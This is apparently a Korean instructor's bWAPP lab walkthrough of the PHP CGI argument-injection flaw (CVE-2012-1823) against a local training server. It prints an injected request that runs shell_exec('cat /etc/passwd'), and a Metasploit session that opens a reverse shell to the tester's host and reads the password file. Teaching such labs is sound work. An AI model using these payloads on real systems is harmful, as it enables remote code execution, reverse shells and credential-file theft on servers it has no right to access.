정보보안(구버전)/ bWAPP 2019. 2. 25. 16:08

웹 해킹 bWAPP - 106. A9 - Using Known Vulnerable Components - PHP CGI Remote Code Execution

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Using Known Vulnerable Components

 

 - OWASP Top10 A9 - 알려진 취약점이 있는 구성 요소 사용

 - 슈퍼유저 권한으로 운영되는 취약한 라이브러리/프레임워크, 기타 SW 모듈로 인한 데이터 유실 및 서버 권한 획득이

   가능한 취약점이다.

 

 

 

2. CGI

 

 - CGI : Common Gateway Interface

 - 서버가 클라이언트로부터 요청을 수신하면, 이 요청이 어플리케이션에서 처리되어야 할 경우, 서버가 어플리케이션을

   실행시키고 이에 대한 응답을 받는 기능을 수행한다.

 - Ex) 브라우저가 서버를 경유하여 DB 서버에 질의를 내는 웹페이지를 작성할 때 사용함

 

 

 

 

 

3. PHP CGI Remote Code Execution

 

 - PHP가 CGI 기반으로 동작할때 CGI 스크립트가 질의 문자열을 제대로 처리하지 못하여 발생하는 취약점이다.

 - CVE 2012-1823 취약점 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823

 

 

 

 

'php5-cgi' 도움말 확인

bee@bee-box:/var/www/bWAPP$ php5-cgi --help


Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
       php <file> [args...]
  -a               Run interactively
  -b <address:port>|<port> Bind Path for external FASTCGI Server mode
  -C               Do not chdir to the script's directory
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used  // php.ini 파일을 사용하지 않음
  -d foo[=bar]     Define INI entry foo with value 'bar'  // php.ini에 정의된 설정 내용을 임의로 설정함
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse <file>.  Implies `-q'
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.  // 소스코드를 클라이언트 브라우저에서 확인 가능
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.

 

 

[참고] php-cgi 취약점 테스트 명령어


allow_url_fopen=1                   외부의 URL로부터 파일을 읽어옴
allow_url_include= 1                외부의 파일을 incoud, includ_once, require, require_once와 같은 파일로 include 허용함
auto_prepend_file=php://input  HTTP Request Body로부터 데이터를 갖고와 실행함

 

 

 

3. Using Known Vulnerable Components - PHP CGI Remote Code Execution

 

 - 이 시나리오는 PHP CGI 옵션(-s, -d) 취약점을 이용하여 리버스 쉘 획득, 시스템 특정 파일을 획득하는 내용이다.

 

 

  

Ex1) Using Known Vulnerable Components - PHP CGI Remote Code Execution 이해 I

 

 

보안 레벨 선택 및 시나리오 선택

 

 

'exploit'을 클릭하면 CVE-2013-1823 링크로 연결됨

 

 

 

106-0. PHP CGI 취약점 URL-1.txt

'-s' 옵션을 이용한 PHP CGI 취약점 확인

 

 

 

 

Ex2) Using Known Vulnerable Components - PHP CGI Remote Code Execution 이해 II

 

 

106-1. PHP CGI 취약점 URL-2.txt

'-d' 옵션과 'allow_prepend_file=php://input'를 이용한 PHP CGI 취약점 확인 

 

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

106-2. bWAPP admin 페이지 URL.txt

bWAPP admin 페이지 접속

 

 

 

버프슈트 Intercept 내용 확인

 

 

106-3. PHP CGI 취약점 URL-3.txt

URL과 Body 내용 변경

('-d' 옵션 & 'allow_url_include= 1' & ' 'allow_prepend_file=php://input'을 이용한 PHP CGI 취약점 공격)

GET /bWAPP/admin/ HTTP/1.1  <- 기존 내용

 

GET /bWAPP/admin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1  <- 변경 내용

 

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (Linux; Android 7.0; PLUS Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=20eddc35b03278719e86a5b6b7721f2b; security_level=0

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

 

<?php $output = shell_exec("cat /etc/passwd"); echo "$output"; die;   <- 추가 내용

 

 

 

URL & Body 변경 내용 확인 -> 'Forward' 버튼 클릭

 

 

 

'Intercept is on'를 클릭하여 off 실시

 

 

 

'Intercept is off' 확인

 

 

PHP CGI 취약점 확인

 

 

 

 

 Ex3) Using Known Vulnerable Components - PHP CGI Remote Code Execution 이해 III

 

 

bWAPP 스캔 실시

root@kali:~# nikto -host 192.168.20.205
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.20.205
+ Target Hostname:    192.168.20.205
+ Target Port:        80
+ Start Time:         2019-02-28 17:50:49 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-

2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
+ Server leaks inodes via ETags, header found with file /, inode: 838422,

size: 588, mtime: Mon Nov  3 03:20:24 2Z014
(Ctrl+c) 

 

 

 

메타스플로잇을 이용한 PHP CGI 취약점을 이용한 러버스 쉘 확인

root@kali:~# msfconsole -q

msf > search php_cgi

Matching Modules
================

   Name                                      Disclosure Date  Rank       Description
   ----                                      ---------------  ----       -----------
   exploit/multi/http/php_cgi_arg_injection  2012-05-03       excellent  PHP CGI Argument Injection

 


msf > use exploit/multi/http/php_cgi_arg_injection

msf exploit(multi/http/php_cgi_arg_injection) > set rhost 192.168.20.205
rhost => 192.168.20.205


msf exploit(multi/http/php_cgi_arg_injection) > set targeturi /bWAPP/admin/
targeturi => /bWAPP/admin/


msf exploit(multi/http/php_cgi_arg_injection) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp


msf exploit(multi/http/php_cgi_arg_injection) > set lhost 192.168.20.50
lhost => 192.168.20.50


msf exploit(multi/http/php_cgi_arg_injection) > exploit

 

[*] Started reverse TCP handler on 192.168.20.50:4444
[*] Command shell session 1 opened (192.168.20.50:4444 -> 192.168.20.205:42840) at 2019-02-28 17:49:24 +0900

 

python -c 'import pty;pty.spawn("/bin/bash")'

 

www-data@bee-box:/var/www/bWAPP/admin$

www-data@bee-box:/var/www/bWAPP/admin$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
~ 중간 생략 ~


www-data@bee-box:/var/www/bWAPP/admin$

www-data@bee-box:/var/www/bWAPP/admin$ (Ctrl+c)
Abort session 1? [y/N]  y

 

[*] 192.168.20.205 - Command shell session 1 closed.  Reason: User exit
msf exploit(multi/http/php_cgi_arg_injection) > quit


root@kali:~#

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 106. A9 - bWAPP Using Known Vulnerable Components - PHP CGI Remote Code Execution


https://youtu.be/7-5gfNr9ENY



Posted by 김정우 강사(카카오톡 : kim10322)
,


Q